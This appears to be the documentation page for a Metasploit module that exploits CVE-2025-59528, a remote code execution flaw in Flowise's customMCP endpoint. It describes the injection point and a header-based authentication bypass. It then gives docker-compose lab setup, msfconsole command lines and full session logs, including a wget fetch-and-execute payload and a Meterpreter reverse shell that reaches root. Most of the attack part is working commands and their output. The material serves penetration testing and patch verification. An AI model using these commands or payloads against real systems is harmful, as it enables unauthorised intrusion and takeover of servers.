9.4 KiB
Vulnerable Application
This Metasploit module exploits a Remote Code Execution vulnerability in Flowise versions >= 2.2.7-patch.1 and < 3.0.6.
The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP) which allows JavaScript code injection
in the mcpServerConfig parameter via the convertToValidJSONString function that uses Function('return ' + inputString)().
For versions < 3.0.1, the exploit uses the x-request-from: internal header to bypass authentication when Basic Auth is not configured.
The vulnerability was fixed in version 3.0.6 by replacing Function('return ' + inputString)() with JSON5.parse(inputString).
Authentication Requirements
The authentication behavior differs depending on the Flowise version:
-
Versions < 3.0.1: The exploit can work unauthenticated if
FLOWISE_USERNAMEandFLOWISE_PASSWORDenvironment variables are not configured (usesx-request-from: internalheader to bypass authentication). If Basic Auth is configured, credentials are required even with the header. -
Versions >= 3.0.1: Authentication via
FLOWISE_EMAILandFLOWISE_PASSWORDis required due to JWT token verification introduced in version 3.0.1.
Setup
Docker Setup
The easiest way to test different versions is using Docker. Use the provided docker-compose-flowise.yml file or create one
with the following content:
version: '3.8'
services:
flowise-2.2.7:
image: flowiseai/flowise:2.2.7-patch.1
container_name: flowise-2.2.7
ports:
- "3000:3000"
environment:
- PORT=3000
restart: unless-stopped
flowise-3.0.0:
image: flowiseai/flowise:3.0.0
container_name: flowise-3.0.0
ports:
- "3001:3000"
environment:
- PORT=3000
restart: unless-stopped
flowise-3.0.4:
image: flowiseai/flowise:3.0.4
container_name: flowise-3.0.4
ports:
- "3002:3000"
environment:
- PORT=3000
restart: unless-stopped
# Note: For Flowise 3.0.4, create user manually via web interface at http://localhost:3002
# Test credentials: admin@test.com / Test12345!
flowise-3.0.6:
image: flowiseai/flowise:3.0.6
container_name: flowise-3.0.6
ports:
- "3003:3000"
environment:
- PORT=3000
restart: unless-stopped
Start all instances: docker compose -f docker-compose-flowise.yml up -d
This will run:
- Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable)
- Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable)
- Flowise 3.0.4 on port 3002 (authenticated required, vulnerable)
- Flowise 3.0.6 on port 3003 (fixed, not vulnerable)
Testing with Docker Compose
Using the docker-compose.yml above, you can test all versions simultaneously:
Test 2.2.7-patch.1 (port 3000, unauthenticated):
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; check; exploit"
Test 3.0.0 (port 3001, unauthenticated):
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3001; check; exploit"
Test 3.0.4 (port 3002, authenticated required):
- Access
http://localhost:3002and create an admin account with:- Email:
admin@test.com - Password:
Test12345!(must be at least 8 characters, contain uppercase, and special character)
- Email:
- Run:
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3002; set FLOWISE_EMAIL admin@test.com; set FLOWISE_PASSWORD Test12345!; check; exploit"
Test with Meterpreter (use Docker gateway IP 172.17.0.1):
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp; set LHOST 172.17.0.1; set LPORT 5555; set FETCH_SRVHOST 172.17.0.1; set FETCH_SRVPORT 8081; run"
Test 3.0.6 (port 3003, fixed - should return Safe):
msfconsole -q -x "use exploit/multi/http/flowise_js_rce; set RHOSTS 127.0.0.1; set RPORT 3003; check"
Expected: CheckCode::Safe("Version 3.0.6 is not vulnerable")
Verification Steps
- Start a vulnerable Flowise instance (see versions above)
- Launch msfconsole:
use exploit/multi/http/flowise_js_rce - Set
RHOSTSandRPORT(default: 3000) - For versions >= 3.0.1, set
FLOWISE_EMAILandFLOWISE_PASSWORD - Run
checkto verify vulnerability - Set payload and execute:
set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit - Verify command execution (e.g.,
docker exec flowise-2.2.7 ls -la /tmp/test_file)
Options
- FLOWISE_EMAIL: Email address for JWT authentication (required for versions >= 3.0.1)
- FLOWISE_PASSWORD: Password for authentication (JWT for >= 3.0.1, Basic Auth for < 3.0.1)
- FLOWISE_USERNAME: Username for Basic Auth (required if FLOWISE_USERNAME env var is set on target)
Note: For versions < 3.0.1, if Basic Auth is not configured on the target (no FLOWISE_USERNAME/FLOWISE_PASSWORD
environment variables), the exploit works unauthenticated using the x-request-from: internal header. If Basic Auth is configured,
credentials are required. For versions >= 3.0.1, JWT authentication is always required regardless of Basic Auth configuration.
The module uses FETCH_COMMAND WGET by default for meterpreter payloads.
Scenarios
Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1
msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_js_rce) > check
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured)
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_js_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_js_rce) > exploit
[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.
Scenario 2: Authenticated Exploit on 3.0.4
msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3002
RPORT => 3002
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_EMAIL admin@test.com
FLOWISE_EMAIL => admin@test.com
msf exploit(multi/http/flowise_js_rce) > set FLOWISE_PASSWORD Test12345!
FLOWISE_PASSWORD => Test12345!
msf exploit(multi/http/flowise_js_rce) > check
[*] Flowise version detected: 3.0.4
[+] 127.0.0.1:3000 - The target appears to be vulnerable. Version 3.0.4 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (authentication required)
[+] Authentication successful
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_js_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_js_rce) > exploit
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.
Scenario 3: Meterpreter Session on 2.2.7-patch.1
When using meterpreter payloads with Docker, use the Docker gateway IP (172.17.0.1) for both LHOST and FETCH_SRVHOST:
msf > use exploit/multi/http/flowise_js_rce
msf exploit(multi/http/flowise_js_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_js_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_js_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/flowise_js_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/flowise_js_rce) > set LPORT 5555
LPORT => 5555
msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVHOST 172.17.0.1
FETCH_SRVHOST => 172.17.0.1
msf exploit(multi/http/flowise_js_rce) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf exploit(multi/http/flowise_js_rce) > set FetchListenerBindAddress 0.0.0.0
FetchListenerBindAddress => 0.0.0.0
msf exploit(multi/http/flowise_js_rce) > run
[*] Command to run on remote host: wget -qO ./nTQCwuECPCfS http://172.17.0.1:8081/-2XrDKPVG9i7xkemEnh_ug;chmod +x ./nTQCwuECPCfS;./nTQCwuECPCfS&
[*] Fetch handler listening on 0.0.0.0:8081
[*] HTTP server started
[*] Adding resource /-2XrDKPVG9i7xkemEnh_ug
[*] Started reverse TCP handler on 172.17.0.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated if basic auth not configured)
[*] No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)
[*] Client 172.18.0.2 requested /-2XrDKPVG9i7xkemEnh_ug
[*] Sending payload to 172.18.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Meterpreter session 4 opened (172.17.0.1:5555 -> 172.18.0.2:41138) at 2025-11-19 21:58:27 +0100
meterpreter > sysinfo
Computer : 172.18.0.2
OS : (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
References
- CVE-2025-59528
- Original exploit: https://github.com/nltt-br
- Flowise repository: https://github.com/FlowiseAI/Flowise